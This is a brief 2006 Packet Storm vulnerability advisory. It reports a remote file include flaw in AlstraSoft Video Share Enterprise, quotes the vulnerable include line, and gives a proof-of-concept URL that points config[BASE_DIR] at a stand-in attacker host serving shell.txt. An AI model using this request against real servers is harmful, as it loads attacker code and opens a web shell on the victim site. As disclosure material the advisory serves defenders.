AlstraSoftRFI.txt

2006-08-28T00:00:00
ID PACKETSTORM:49485
Type packetstorm
Reporter Night_Warrior
Modified 2006-08-28T00:00:00

Description

                                        
                                            `##Night_Warrior<Kurdish Hacker>  
##night_warrior-[at]hotmail.com  
##AlstraSoft Video Share Enterprise Remote File Include Vulnerability  
##Contact : night_warrior-[at]hotmail.com  
##hompage : www.alstrasoft.com  
##vuln code :  
myajaxphp.php line 11  
  
require_once($config['BASE_DIR'] . "/ajax/cpaint2.inc.php");   
  
http://www.example.com/[Script Path]/ajax/myajaxphp.php?config[BASE_DIR]=http://atacker.com/shell.txt?  
`